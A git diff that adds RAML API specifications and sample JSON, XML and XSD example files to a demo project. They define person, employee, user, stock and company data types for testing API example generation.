+        type: dataModel.StockBalance
+      application/xml:
+        type: dataModel.StockBalance
+        
\ No newline at end of file
diff --git a/demo/apis/SE-22063/stock.raml b/demo/apis/SE-22063/stock.raml
new file mode 100644
index 0000000..c38c2b3
--- /dev/null
+++ b/demo/apis/SE-22063/stock.raml
@@ -0,0 +1,41 @@
+#%RAML 1.0 Library
+
+types:
+  StockBalance:
+    description: Holder stock balance information.
+    properties: 
+      sourceType: 
+        type: 
+          enum: [site]
+        example: site
+      items:
+        type: StockLine[]
+        description: Individual inventories.
+        minItems: 1
+        xml:
+          wrapped: true
+          name: item
+  StockLine:
+    type: object
+    description: Stock line.
+    properties:
+      ssccNumber?:
+        type: string
+        description: Palet number
+        example: P19227
+      materialReference: 
+        type: string
+        description: Product sku.
+        example: CL54B
+      variantId?:
+        type: string
+        description: Identification of product variant (or recipe)
+        example: R0029
+      batch?:
+        type: string
+        description: Batch number.
+        example: BA02931
+      quantity:
+        type: number
+        description: Product quantity to be despatched.
+        example: 1
diff --git a/demo/apis/example-generator-api/contact-email-example.raml b/demo/apis/example-generator-api/contact-email-example.raml
new file mode 100644
index 0000000..6682c26
--- /dev/null
+++ b/demo/apis/example-generator-api/contact-email-example.raml
@@ -0,0 +1,6 @@
+-
+  type: 'GENERAL'
+  value: 'info@company.be'
+-
+  type: 'IT_DEPT'
+  value: 'it-service@company.be'
diff --git a/demo/apis/example-generator-api/contact-example.raml b/demo/apis/example-generator-api/contact-example.raml
new file mode 100644
index 0000000..6d3c4dd
--- /dev/null
+++ b/demo/apis/example-generator-api/contact-example.raml
@@ -0,0 +1,5 @@
+type: 'GENERAL'
+countryDialCode : '+32'
+areaCode : '22'
+subscriberNumber: '12.87.00'
+formatted: '+32-(0)22 000000'
diff --git a/demo/apis/example-generator-api/contact-fax-example.raml b/demo/apis/example-generator-api/contact-fax-example.raml
new file mode 100644
index 0000000..262d052
--- /dev/null
+++ b/demo/apis/example-generator-api/contact-fax-example.raml
@@ -0,0 +1,5 @@
+type: 'GENERAL'
+countryDialCode : '+32'
+areaCode : '21'
+subscriberNumber: '12.87.00'
+formatted: '+32-(0)21 302099'
diff --git a/demo/apis/example-generator-api/contact-website-example.raml b/demo/apis/example-generator-api/contact-website-example.raml
new file mode 100644
index 0000000..f82f1d2
--- /dev/null
+++ b/demo/apis/example-generator-api/contact-website-example.raml
@@ -0,0 +1,2 @@
+type: "GENERAL"
+value: "www.company.be"
diff --git a/demo/apis/example-generator-api/example-1.raml b/demo/apis/example-generator-api/example-1.raml
new file mode 100644
index 0000000..dc2ef55
--- /dev/null
+++ b/demo/apis/example-generator-api/example-1.raml
@@ -0,0 +1,6 @@
+countryCode: "BE"
+graydonEnterpriseId: 1057155523
+registrationId: "0422319093"
+vatNumber: "BE0422319093"
+graydonCompanyId: "0422319093"
+isBranchOffice: false
diff --git a/demo/apis/example-generator-api/example-2.raml b/demo/apis/example-generator-api/example-2.raml
new file mode 100644
index 0000000..51309e2
--- /dev/null
+++ b/demo/apis/example-generator-api/example-2.raml
@@ -0,0 +1,9 @@
+addressType: 'REGISTERED-OFFICE-ADDRESS'
+streetName: 'UITBREIDINGSTRAAT'
+houseNumber: '84'
+houseNumberAddition: '/1'
+postalCode: '2600'
+city: 'BERCHEM (ANTWERPEN)'
+country: 'Belgium'
+countryCode: 'BE'
+fullFormatedAddress: "UITBREIDINGSTRAAT 84 /1, 2600 BERCHEM (ANTWERPEN), BELIUM"
diff --git a/demo/apis/example-generator-api/example-3.raml b/demo/apis/example-generator-api/example-3.raml
new file mode 100644
index 0000000..3c7c007
--- /dev/null
+++ b/demo/apis/example-generator-api/example-3.raml
@@ -0,0 +1,4 @@
+phoneNumber: !include contact-example.raml
+faxNumber: !include contact-fax-example.raml
+email: !include contact-email-example.raml
+website: !include contact-website-example.raml
diff --git a/demo/apis/example-generator-api/example-4.raml b/demo/apis/example-generator-api/example-4.raml
new file mode 100644
index 0000000..14b61f7
--- /dev/null
+++ b/demo/apis/example-generator-api/example-4.raml
@@ -0,0 +1,2 @@
+code: '5'
+description: 'Limited company'
diff --git a/demo/apis/example-generator-api/example-5.raml b/demo/apis/example-generator-api/example-5.raml
new file mode 100644
index 0000000..fcd2e8d
--- /dev/null
+++ b/demo/apis/example-generator-api/example-5.raml
@@ -0,0 +1,4 @@
+class: '3'
+description: '150 - 300'
+numberOfFte: 5500
+numberOfEmployees: 5232
diff --git a/demo/apis/example-generator-api/example-6.raml b/demo/apis/example-generator-api/example-6.raml
new file mode 100644
index 0000000..ee117a8
--- /dev/null
+++ b/demo/apis/example-generator-api/example-6.raml
@@ -0,0 +1,2 @@
+code: 'J'
+description: 'Information and communication'
diff --git a/demo/apis/example-generator-api/example-7.raml b/demo/apis/example-generator-api/example-7.raml
new file mode 100644
index 0000000..8abe42e
--- /dev/null
+++ b/demo/apis/example-generator-api/example-7.raml
@@ -0,0 +1,5 @@
+code: '7487'
+description: 'Financial and insurance activities'
+type: "PRIMARY"
+classificationCode: 'BE_NACEBEL2008'
+activityGroupCode: 'ABCDE'
diff --git a/demo/apis/example-generator-api/example-generator-api.raml b/demo/apis/example-generator-api/example-generator-api.raml
new file mode 100644
index 0000000..12dbe65
--- /dev/null
+++ b/demo/apis/example-generator-api/example-generator-api.raml
@@ -0,0 +1,423 @@
+#%RAML 1.0
+title: API demo
+version: v1
+baseUri: http://api.domain.com/
+
+types:
+  ScalarType: string
+  ScalarArray: string[]
+  ArrayType:
+    type: array
+    items: Image
+  UnionType: Image | Imgs
+  ScalarWithExample:
+    type: number
+    example: 5
+  ScalarArrayWithExample:
+    type: number[]
+    example: [1, 5]
+  SimpleInlineExample:
+    type: object
+    properties:
+      testProperty: boolean
+    example:
+      testProperty: true
+  Image:
+    type: object
+    properties:
+      url: string
+      thumb: string
+  Imgs:
+    properties:
+      something: string
+      images:
+        type: Image[]
+        xml:
+          wrapped: true
+  Person:
+    properties:
+      error?:
+        type: boolean
+        xml:
+          attribute: true
+      id:
+        type: string | number
+      name: string
+      birthday: date-only
+      gender:
+        type: string
+        examples:
+          Male: male
+          Female: female
+      url: string
+      tagline: string
+      language:
+        type: string
+        default: PL
+      etag:
+        type: string
+        example: etag example
+      image:
+        type: object
+        properties:
+          url: string
+          thumb: string
+      opt?: Image | string
+    example:
+      error: false
+      id: 1234
+      name: Pawel Psztyc
+      birthday: 20-10-1983
+      tagline: Test example
+      url: https://domain.com
+      language: PL
+      etag: test
+      image:
+        url: https://image.com
+        thumb: https://image.com/thumb
+  JsonExampleInclude:
+    type: Person
+    example: !include example.json
+  XmlExampleInclude:
+    type: Person
+    example: !include example.xml
+  PropertyExamples:
+    properties:
+      xtra:
+        type: string
+        xml:
+          attribute: true
+      firstName:
+        type: string
+        example: Pawel
+      lastName:
+        type: string
+        example: Psztyc
+      address: Address
+      num: number
+      int: integer
+      bool: boolean
+      defVal:
+        type: integer
+        default: 10
+        example: 1
+  Address:
+    properties:
+      street: string
+      zip:
+        type: string
+        example: "94100"
+        default: "00000"
+      house:
+        type: number
+        example: 1
+  TypeExamples:
+    properties:
+      firstName: string
+      lastName: string
+    example:
+      firstName: Pawel
+      lastName: Psztyc
+  ArrayTypeWithExample:
+    type: array
+    items: Image
+    example: [{"url": "url 1", "thumb": "thumb 1"}]
+  ArrayWithoutItems:
+    type: array
+    displayName: Incomplete array
+  Employee:
+    type: object
+    properties:
+      firstName: string
+      lastName: string
+      position: string
+      deskNumber: string
+  DataTypesExample:
+    type: object
+    properties:
+      typeString:
+        type: string
+        example: String example
+      typeNumber:
+        type: number
+        example: 123456
+      typeInt:
+        type: integer
+        example: 1234546
+      typeDecimal:
+        type: number
+        multipleOf: 0.01
+        example: 10.67
+      typeBool:
+        type: boolean
+        example: true
+      typeNull:
+        type: nil
+        example: null
+      typeNegativeInt:
+        type: integer
+        example: -12
+      typeNumberFormatInt64:
+        type: number
+        minimum: 3
+        maximum: 5
+        format: int64
+        multipleOf: 4
+        example: 8
+      typeNumFormatInt32:
+        type: number
+        format: int32
+        example: 109298
+      typeNumFormatInt:
+        type: number
+        format: int
+        example: 11
+      typeNumFormatLong:
+        type: number
+        format: long
+        example: 123456789
+      typeNumFormatFloat:
+        type: number
+        format: float
+        example: 1234567.89
+      typeNumFormatDouble:
+        type: number
+        format: double
+        example: 1234.56789
+      typeNumFormatInt8:
+        type: number
+        format: int8
+        example: 1
+      typeNumFormatInt16:
+        type: number
+        format: int16
+        example: 2
+      typeIntFormatInt8:
+        type: integer
+        minimum: 3
+        maximum: 5
+        format: int8
+        multipleOf: 1
+        example: 12
+
+/IncludedInType:
+  post:
+    body:
+      application/json:
+        type: Person
+      application/xml:
+        type: Person
+/IncludedInline:
+  post:
+    body:
+      application/json:
+        type: Person
+        example:
+          error: false
+          id: 1234
+          name: Inline person
+          birthday: 01-01-1990
+          tagline: Test example
+          url: https://domain.com
+          language: PL
+          etag: test
+          image:
+            url: https://image.com
+            thumb: https://image.com/thumb
+      application/xml:
+        type: !include example.xsd
+        example: !include example.xml
+/IncludedInlineJson:
+  post:
+    body:
+      application/json:
+        type: !include user.raml
+        example: !include user.json
+/typeExamples:
+  post:
+    body:
+      application/json:
+        type: TypeExamples
+      application/xml:
+        type: TypeExamples
+/propertyExamples:
+  post:
+    body:
+      application/json:
+        type: PropertyExamples
+      application/xml:
+        type: PropertyExamples
+/arrayTypeExample:
+  post:
+    body:
+      application/json:
+        type: TypeExamples[]
+/ArrayType:
+  post:
+    body:
+      application/json:
+        type: ArrayType
+      application/xml:
+        type: ArrayType
+/arrayPropertyExamples:
+  post:
+    body:
+      application/json:
+        type: PropertyExamples[]
+      application/xml:
+        type: PropertyExamples[]
+/arrayPropertyGeneratedExamples:
+  post:
+    body:
+      application/json:
+        type: array
+        items:
+          properties:
+            test: boolean
+            other: string
+      application/xml:
+        type: array
+        items:
+          properties:
+            test: boolean
+            other: string
+/wrappedXml:
+  post:
+    body:
+      application/xml:
+        type: Imgs
+/inline-property-example:
+  post:
+    body:
+      application/json:
+        type: object
+        properties:
+          limit: number
+          items:
+            type: string[]
+            example: [test, other]
+      application/xml:
+        type: object
+        properties:
+          limit: number
+          items:
+            type: string[]
+            example: [test, other]
+/union:
+  post:
+    body:
+      application/json:
+        type: Person | PropertyExamples
+      application/xml:
+        type: Person | PropertyExamples
+/scalar:
+  post:
+    body:
+      application/json:
+        type: integer
+/scalarWithExample:
+  post:
+    body:
+      application/json:
+        type: integer
+        example: 1
+/arrayScalar:
+  post:
+    body:
+      application/json:
+        type: array
+        items: [number]
+/arrayScalarWithExample:
+  post:
+    body:
+      application/json:
+        type: array
+        items: [number]
+        example: [1, 2, 3]
+/user-raml-example:
+  post:
+    body:
+      application/json:
+        type: !include user-raml-example.raml
+        examples:
+          User 3:
+            id: uid3
+            username: ppsztyc
+            firstName: Pawel
+            lastName: Psztyc
+            profilePhoto: https://img/domain.com/ppsztyc
+            email: ppsztyc@domain.com
+          User 4:
+            id: uid4
+            username: jdoe
+            firstName: John
+            lastName: Does
+            profilePhoto: https://img/domain.com/jdoe
+            email: jdoe@domain.com
+      application/xml:
+        type: !include user-raml-example.raml
+/user-json-example:
+  post:
+    body:
+      application/json:
+        type: !include user-json-example.raml
+/users-raml-example:
+  post:
+    body:
+      application/json:
+        type: !include users-raml-example.raml
+      application/xml:
+        type: !include users-raml-example.raml
+/users-json-example:
+  post:
+    body:
+      application/json:
+        type: !include users-json-example.raml
+/named-example:
+  post:
+    body:
+      application/json:
+        examples: !include named-example.raml
+      application/xml:
+        examples: !include named-example.raml
+/named-linked-example:
+  post:
+    body:
+      application/json:
+        examples: !include named-example-with-link.raml
+      application/xml:
+        examples: !include named-example-with-link.raml
+/employees:
+  get:
+    body:
+      application/json:
+        type: Employee[]
+        examples: !include examples/employees.raml
+      application/xml:
+        type: Employee[]
+        examples: !include examples/employees.raml
+  post:
+    body:
+      application/json:
+        type: Employee
+        examples: !include examples/employee.raml
+      application/xml:
+        type: Employee
+        examples: !include examples/employee.raml
+  delete:
+    body:
+      application/json:
+        type: Employee
+        examples: !include examples/employee.raml
+  head:
+    body:
+      application/json:
+        type: Employee
+        examples: !include examples/employee.raml
+/data-types:
+  post:
+    body:
+      application/json:
+        type: DataTypesExample
+      application/xml:
+        type: DataTypesExample
diff --git a/demo/apis/example-generator-api/example.json b/demo/apis/example-generator-api/example.json
new file mode 100644
index 0000000..0325823
--- /dev/null
+++ b/demo/apis/example-generator-api/example.json
@@ -0,0 +1,14 @@
+{
+  "id": "R34fg663H9KW9MMSKISI",
+  "name": "Pawel Psztyc",
+  "birthday": "1983-10-20",
+  "gender": "male",
+  "url": "https://domain.com/profile/pawel.psztyc",
+  "image": {
+    "url": "https://domain.com/profile/pawel.psztyc/image",
+    "thumb": "https://domain.com/profile/pawel.psztyc/image/thumb"
+  },
+  "tagline": "Some text about me.",
+  "language": "en_GB",
+  "etag": "\"W\\244m4n5kj3gbn2nj4k4n4\""
+}
diff --git a/demo/apis/example-generator-api/example.xml b/demo/apis/example-generator-api/example.xml
new file mode 100644
index 0000000..2c76be1
--- /dev/null
+++ b/demo/apis/example-generator-api/example.xml
@@ -0,0 +1,15 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<Person error="false">
+  <id>Qawer63J73HJ6khjswuqyq62382jG21s</id>
+  <name>John Smith</name>
+  <birthday>1990-10-12</birthday>
+  <gender>male</gender>
+  <url>https://www.domain.com/people/Qawer63J73HJ6khjswuqyq62382jG21s</url>
+  <image>
+    <url>https://www.domain.com/people/Qawer63J73HJ6khjswuqyq62382jG21s/image</url>
+    <thumb>https://www.domain.com/people/Qawer63J73HJ6khjswuqyq62382jG21s/image/thumb</thumb>
+  </image>
+  <tagline>Hi, I'm John!</tagline>
+  <language>en_US</language>
+  <etag>W\\244m4n5kj3gbn2nj4k4n4</etag>
+</Person>
diff --git a/demo/apis/example-generator-api/example.xsd b/demo/apis/example-generator-api/example.xsd
new file mode 100644
index 0000000..f775497
--- /dev/null
+++ b/demo/apis/example-generator-api/example.xsd
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" elementFormDefault="qualified" attributeFormDefault="unqualified">
+  <xs:element name="Person">
+    <xs:complexType>
+      <xs:sequence>
+        <xs:element name="id" type="xs:string"></xs:element>
+        <xs:element name="name" type="xs:string"></xs:element>
+        <xs:element name="birthday" type="xs:date"></xs:element>
+        <xs:element name="gender" type="xs:string"></xs:element>
+        <xs:element name="url" type="xs:string"></xs:element>
+        <xs:element name="image">
+          <xs:complexType>
+            <xs:sequence>
+              <xs:element name="url" type="xs:string"></xs:element>
+              <xs:element name="thumb" type="xs:string"></xs:element>
+            </xs:sequence>
+          </xs:complexType>
+        </xs:element>
+        <xs:element name="tagline" type="xs:string"></xs:element>
+        <xs:element name="language" type="xs:string"></xs:element>
+        <xs:element name="etag" type="xs:string"></xs:element>
+      </xs:sequence>
+      <xs:attribute name="error" type="xs:boolean" use="required"></xs:attribute>
+    </xs:complexType>
+  </xs:element>
+</xs:schema>
diff --git a/demo/apis/example-generator-api/examples/employee.raml b/demo/apis/example-generator-api/examples/employee.raml
new file mode 100644
index 0000000..23af130
--- /dev/null
+++ b/demo/apis/example-generator-api/examples/employee.raml
@@ -0,0 +1,7 @@
+#%RAML 1.0 NamedExample
+
+Employee example:
+  firstName: Other Pawel
+  lastName: Psztyc
+  position: Sr Software Engineer
+  deskNumber: None.
diff --git a/demo/apis/example-generator-api/examples/employees.raml b/demo/apis/example-generator-api/examples/employees.raml
new file mode 100644
index 0000000..c45cc0f
--- /dev/null
+++ b/demo/apis/example-generator-api/examples/employees.raml
@@ -0,0 +1,7 @@
+#%RAML 1.0 NamedExample
+
+General Use:
+  firstName: Pawel
+  lastName: Psztyc
+  position: Sr Software Engineer
+  deskNumber: None.
diff --git a/demo/apis/example-generator-api/linked-named-example.raml b/demo/apis/example-generator-api/linked-named-example.raml
new file mode 100644
index 0000000..704611f
--- /dev/null
+++ b/demo/apis/example-generator-api/linked-named-example.raml
@@ -0,0 +1,21 @@
+companyIdentification: !include example-1.raml
+companyName: 'GRAYDON BELGIË NV'
+alternateCompanyName: 'GRAYDON BELGIQUE NV'
+tradeNames:
+  - 'GRAYDON'
+  - 'MARKTSELECT'
+  - 'CREDITEL'
+  - 'ACM'
+  - 'IT FACILITY MANAGEMENT'
+companyAddress: !include example-2.raml
+contactInformation: !include example-3.raml
+legalForm: !include example-4.raml
+size: !include example-5.raml
+industry:
+  - !include example-6.raml
+activities: !include example-7.raml
+isActive: "true"
+foundationDate: 1940-07-11
+dissolutionDate: 2007-01-01
+nonEmailIndicator: true
+#numberOfBranchOffices: 0
diff --git a/demo/apis/example-generator-api/named-example-with-link.raml b/demo/apis/example-generator-api/named-example-with-link.raml
new file mode 100644
index 0000000..449dad4
--- /dev/null
+++ b/demo/apis/example-generator-api/named-example-with-link.raml
@@ -0,0 +1,5 @@
+#%RAML 1.0 NamedExample
+
+Named example with link:
+  company: !include linked-named-example.raml
+  startDate: '2000-01-01'
diff --git a/demo/apis/example-generator-api/named-example.raml b/demo/apis/example-generator-api/named-example.raml
new file mode 100644
index 0000000..cd58f45
--- /dev/null
+++ b/demo/apis/example-generator-api/named-example.raml
@@ -0,0 +1,9 @@
+#%RAML 1.0 NamedExample
+
+Named example:
+  countryCode: "BE"
+  graydonEnterpriseId: 1057155523
+  registrationId: "0422319093"
+  vatNumber: "BE0422319093"
+  graydonCompanyId: "0422319093"
+  isBranchOffice: false
diff --git a/demo/apis/example-generator-api/user-json-example.raml b/demo/apis/example-generator-api/user-json-example.raml
new file mode 100644
index 0000000..c110ba2
--- /dev/null
+++ b/demo/apis/example-generator-api/user-json-example.raml
@@ -0,0 +1,17 @@
+#%RAML 1.0 DataType
+type: object
+displayName: User
+properties:
+  id:
+    displayName: Id
+  username:
+    displayName: Username
+  firstName:
+    displayName: First Name
+  lastName:
+    displayName: Last Name
+  profilePhoto:
+    displayName: Profile photo
+  email:
+    displayName: Email
+example: !include user.json
diff --git a/demo/apis/example-generator-api/user-raml-example.raml b/demo/apis/example-generator-api/user-raml-example.raml
new file mode 100644
index 0000000..a1cc95e
--- /dev/null
+++ b/demo/apis/example-generator-api/user-raml-example.raml
@@ -0,0 +1,37 @@
+#%RAML 1.0 DataType
+type: object
+displayName: User
+properties:
+  id:
+    displayName: Id
+  username:
+    displayName: Username
+  firstName:
+    displayName: First Name
+  lastName:
+    displayName: Last Name
+  profilePhoto:
+    displayName: Profile photo
+  email:
+    displayName: Email
+  age: integer
+  newsletter: boolean
+examples:
+  User 1:
+    id: uid1
+    username: ppsztyc
+    firstName: Pawel
+    lastName: Psztyc
+    profilePhoto: https://img/domain.com/ppsztyc
+    email: ppsztyc@domain.com
+    age: 35
+    newsletter: true
+  User 2:
+    id: uid2
+    username: jdoe
+    firstName: John
+    lastName: Does
+    profilePhoto: https://img/domain.com/jdoe
+    email: jdoe@domain.com
+    age: 25
+    newsletter: false
diff --git a/demo/apis/example-generator-api/user.json b/demo/apis/example-generator-api/user.json
new file mode 100644
index 0000000..78ec0ba
--- /dev/null
+++ b/demo/apis/example-generator-api/user.json
@@ -0,0 +1,8 @@
+{
+  "id": "4b8c4ccd-c8fd-49ff-aa97-cf434d9d4e97",
+  "username": "char",
+  "firstName": "Charlie",
+  "lastName": "Brown",
+  "profilePhoto": "http://my-photos.com/char.jpg",
+  "email": "char@wash.com"
+}
diff --git a/demo/apis/example-generator-api/user.raml b/demo/apis/example-generator-api/user.raml
new file mode 100644
index 0000000..41b2515
--- /dev/null
+++ b/demo/apis/example-generator-api/user.raml
@@ -0,0 +1,18 @@
+#%RAML 1.0 DataType
+type: object
+displayName: User
+properties:
+  id:
+    displayName: Id
+  username:
+    displayName: Username
+  firstName:
+    displayName: First Name
+  lastName:
+    displayName: Last Name
+  profilePhoto:
+    displayName: Profile photo
+  email:
+    displayName: Email
+  age: integer
+  newsletter: boolean
diff --git a/demo/apis/example-generator-api/users-json-example.raml b/demo/apis/example-generator-api/users-json-example.raml
new file mode 100644
index 0000000..878c629
--- /dev/null
+++ b/demo/apis/example-generator-api/users-json-example.raml
@@ -0,0 +1,17 @@
+#%RAML 1.0 DataType
+type: object
+displayName: User
+properties:
+  id:
+    displayName: Id
+  username:
+    displayName: Username
+  firstName:
+    displayName: First Name
+  lastName:
+    displayName: Last Name
+  profilePhoto:
+    displayName: Profile photo
+  email:
+    displayName: Email
+example: !include users.json
diff --git a/demo/apis/example-generator-api/users-raml-example.raml b/demo/apis/example-generator-api/users-raml-example.raml
new file mode 100644
index 0000000..325428b
--- /dev/null
+++ b/demo/apis/example-generator-api/users-raml-example.raml
@@ -0,0 +1,32 @@
+#%RAML 1.0 DataType
+type: array
+displayName: Users
+items:
+  properties:
+    id:
+      displayName: Id
+    username:
+      displayName: Username
+    firstName:
+      displayName: First Name
+    lastName:
+      displayName: Last Name
+    profilePhoto:
+      displayName: Profile photo
+    email:
+      displayName: Email
+examples:
+  User 1:
+    id: uid1
+    username: ppsztyc
+    firstName: Pawel
+    lastName: Psztyc
+    profilePhoto: https://img/domain.com/ppsztyc
+    email: ppsztyc@domain.com
+  User 2:
+    id: uid2
+    username: jdoe
+    firstName: John
+    lastName: Does
+    profilePhoto: https://img/domain.com/jdoe
+    email: jdoe@domain.com
diff --git a/demo/apis/example-generator-api/users.json b/demo/apis/example-generator-api/users.json
new file mode 100644
index 0000000..7ee2e03
--- /dev/null
+++ b/demo/apis/example-generator-api/users.json
@@ -0,0 +1,8 @@
+[{
+  "id": "4b8c4ccd-c8fd-49ff-aa97-cf434d9d4e97",
+  "username": "char",
+  "firstName": "Charlie",
+  "lastName": "Brown",
+  "profilePhoto": "http://my-photos.com/char.jpg",
+  "email": "char@wash.com"
+}]
diff --git a/demo/apis/schema-api/examples/person.json b/demo/apis/schema-api/examples/person.json
new file mode 100644
index 0000000..a4c9b01
--- /dev/null
+++ b/demo/apis/schema-api/examples/person.json
@@ -0,0 +1,14 @@
+{
+  "id": "R34fg663H9KW9MMSKISI",
+  "name": "Pawel Psztyc",
+  "birthday": "1983-10-20",
+  "gender": "male",
+  "url": "https://domain.com/profile/pawel.psztyc",
+  "image": {
+    "url": "https://domain.com/profile/pawel.psztyc/image",
+    "thumb": "https://domain.com/profile/pawel.psztyc/image/thumb"
+  },
+  "tagline": "Some text about me.",
+  "language": "en_GB",
+  "etag": "W\\244m4n5kj3gbn2nj4k4n4"
+}
diff --git a/demo/apis/schema-api/examples/person.raml b/demo/apis/schema-api/examples/person.raml
new file mode 100644
index 0000000..d0a0bb1
--- /dev/null
+++ b/demo/apis/schema-api/examples/person.raml
@@ -0,0 +1,14 @@
+#%RAML 1.0 NamedExample
+
+Person exmaple:
+  id: R34fg663H9KW9MMSKISI
+  name: Pawel Psztyc
+  birthday: 1983-10-20
+  gender: male
+  url: https://domain.com/profile/pawel.psztyc
+  image:
+    url: https://domain.com/profile/pawel.psztyc/image,
+    thumb: https://domain.com/profile/pawel.psztyc/image/thumb
+  tagline: Some text about me.
+  language: en_GB
+  etag: W\\244m4n5kj3gbn2nj4k4n4
diff --git a/demo/apis/schema-api/examples/person.url.encoded b/demo/apis/schema-api/examples/person.url.encoded
new file mode 100644
index 0000000..d28215e
--- /dev/null
+++ b/demo/apis/schema-api/examples/person.url.encoded
@@ -0,0 +1 @@
+id=R34fg663H9KW9MMSKISI&name=Pawel%20Psztyc&birthday=1983-10-20&gender=male&url=https%3A%2F%2Fdomain.com%2Fprofile%2Fpawel.psztyc&tagline=Some%20text%20about%20me.&language=en_GB&etag=W\244m4n5kj3gbn2nj4k4n4
diff --git a/demo/apis/schema-api/examples/person.xml b/demo/apis/schema-api/examples/person.xml
new file mode 100644
index 0000000..b4777c7
--- /dev/null
+++ b/demo/apis/schema-api/examples/person.xml
@@ -0,0 +1,14 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<resource error="false" type="AppPerson">
+  <id>Qawer63J73HJ6khjswuqyq62382jG21s</id>
+  <name>John Smith</name>
+  <birthday>1990-10-12</birthday>
+  <gender>male</gender>
+  <url>https://www.domain.com/people/Qawer63J73HJ6khjswuqyq62382jG21s</url>
+  <image>
+    <url>https://www.domain.com/people/Qawer63J73HJ6khjswuqyq62382jG21s/image</url>
+    <thumb>https://www.domain.com/people/Qawer63J73HJ6khjswuqyq62382jG21s/image/thumb</thumb>
+  </image>
+  <tagline>Hi, I'm John!</tagline>
+  <language>en_US</language>
+</resource>
diff --git a/demo/apis/schema-api/library/demo-types.raml b/demo/apis/schema-api/library/demo-types.raml
new file mode 100644
index 0000000..d1afadc
--- /dev/null
+++ b/demo/apis/schema-api/library/demo-types.raml
@@ -0,0 +1,43 @@
+#%RAML 1.0 Library
+
+types:
+  BaseResource:
+    description: |
+      API resource.
+    type: object
+    properties:
+      etag:
+        type: string
+        description: |
+          ETag of this resource for caching purposes.
+          __This property will be ignored when creating an object.__
+  Pet:
+    type: BaseResource
+    properties: 
+      type:
+        type: string
+        description: The object type for child classes.
+      name:
+        type: string
+        description: The name of the pet.
+      sound:
+        type: string
+        description: The sound it makes.
+    discriminatorValue: type
+  Dog:
+    type: Pet
+    properties: 
+      type:
+        default: Dog
+      sound:
+        default: Woof
+      friendly: boolean
+  Cat:
+    type: Pet
+    properties: 
+      type:
+        default: Cat
+  Mamal:
+    type: object
+    properties: 
+      birthDate: date-only
diff --git a/demo/apis/schema-api/schema-api.raml b/demo/apis/schema-api/schema-api.raml
new file mode 100644
index 0000000..cca4ee4
--- /dev/null
+++ b/demo/apis/schema-api/schema-api.raml
@@ -0,0 +1,432 @@
+#%RAML 1.0
+title: API body demo
+version: v1
+baseUri: http://api.domain.com/
+
+uses:
+  ExampleType: library/demo-types.raml
+
+types:
+  ScalarType:
+    type: string
+    description: A description.
+    displayName: Scalar type
+  ScalarWithTraits:
+    type: string
+    description: ScalarWithTraits description.
+    displayName: Scalar traits
+    default: test
+    example: other
+    pattern: "[a-zA-Z]*"
+    maxLength: 3
+    minLength: 15
+    enum: 
+     - test
+     - other
+     - another
+  ScalarWithParent:
+    type: ScalarWithTraits
+    pattern: "[a-zA-Z0-9]*"
+  ScalarWithExample:
+    type: string
+    example: A string
+  ScalarWithEnum:
+    type: string
+    enum: 
+     - A
+     - B
+     - C
+  SimpleObject:
+    type: object
+    minProperties: 1
+    maxProperties: 20
+    additionalProperties: true
+    description: A simple object
+    displayName: Simple object
+    properties: 
+      id: string
+      name:
+        type: string
+        displayName: Name
+        example: Pawel Uchida-Psztyc
+      age?:
+        type: integer
+        example: 21
+        description: Optional person age.
+        minimum: 18
+      sex:
+        type: string
+        enum: 
+          - male
+          - female
+        description: An example of an enum.
+      newsletter:
+        type: boolean
+        required: false
+        description: Whether the user wants to be added to the newsletter
+      tosAccepted:
+        type: boolean
+        default: false
+        description: Whether terms of service is accepted by the user.
+  ObjectWithParent:
+    type: SimpleObject
+    properties: 
+      addedProperty:
+        type: time-only
+      age:
+        type: integer
+        required: true
+        example: 25
+        description: Age is not optional anymore.
+  ObjectWithArray:
+    type: object
+    properties: 
+      tags:
+        type: string[]
+        description: These are tags
+      exampleValue:
+        type: number[]
+        example: 123
+      examplesValue:
+        type: string[]
+        examples: 
+          named1: value 1
+          named2: value 2
+      defaultValue:
+        type: string[]
+        default: [A tag]
+      optionalValue:
+        type: object[]
+        required: false
+  ObjectWithArrayObject:
+    type: array
+    items: SimpleObject
+    description: Items that are another object.
+  ScalarUnion:
+    type: string | number
+  ScalarUnionDefaultNumber:
+    type: string | number
+    default: 123456
+  ScalarUnionDefaultString:
+    type: string | number
+    default: abc123
+  ScalarUnionDefaultBoolean:
+    type: string | boolean
+    default: true
+  ScalarUnionDefaultBoolean2:
+    type: string | boolean
+    default: false
+  ScalarUnionDefaultNil:
+    type: string | nil
+    default: null
+  ScalarUnionExampleNumber:
+    type: string | number
+    example: 987654
+  ScalarUnionExampleString:
+    type: string | number
+    example: 098poi
+  ScalarObjectUnion:
+    type: string | SimpleObject
+  ScalarObjectUnionExample:
+    type: string | SimpleObject
+    example:
+      id: 128a654bc54d898e43f
+      name: Pawel Uchida-Psztyc
+      age: 30
+      sex: male
+      newsletter: false
+      tosAccepted: true
+  ObjectUnions:
+    type: SimpleObject | ObjectWithParent
+  ObjectWithExample:
+    type: object
+    properties: 
+      error: boolean
+      message: string
+      optional?: number
+    example:
+      error: true
+      message: Error message
+  ObjectUnionWithExample:
+    type: ObjectWithExample | ObjectWithParent
+  ObjectScalarUnionNill:
+    type: object
+    properties: 
+      name: string | nil
+  UnionNill:
+    type: Address | nil
+  Parent:
+    type: object
+    properties: 
+      id: string
+  ChildLvl1:
+    type: Parent
+    properties: 
+      ch1: boolean
+  ChildLvl2:
+    type: ChildLvl1
+    properties: 
+      ch2: string
+  FileShape:
+    type: file
+    fileTypes: 
+      - application/*
+    maxLength: 100
+  Address:
+    properties:
+      street: string
+      city: string
+  XmlSerializationObject:
+    type: object
+    properties: 
+      id:
+        type: string
+        xml:
+          attribute: true
+          name: "uuid"
+      notNamedId:
+        type: string
+        xml:
+          attribute: true
+      attributeWithExample:
+        type: string
+        example: attr example value
+        xml:
+          attribute: true
+      attributeWithDefault:
+        type: string
+        default: attr default value
+        xml:
+          attribute: true
+      addresses: # This creates <addresses> <addresses><street></street>...</addresses> ... </addresses>
+        type: Address[]
+        xml:
+          wrapped: true
+      addresses2: # This creates <address-array-2> <Address><street></street>...</Address> ... </address-array-2>
+        type: array
+        items: 
+          type: Address
+          xml:
+            name: Address
+        xml:
+          wrapped: true
+          name: address-array-2
+      addresses3: # This creates <address-array-3> <address-array-3><street></street>...</address-array-3> ... </address-array-3>
+        type: Address[]
+        xml:
+          wrapped: true
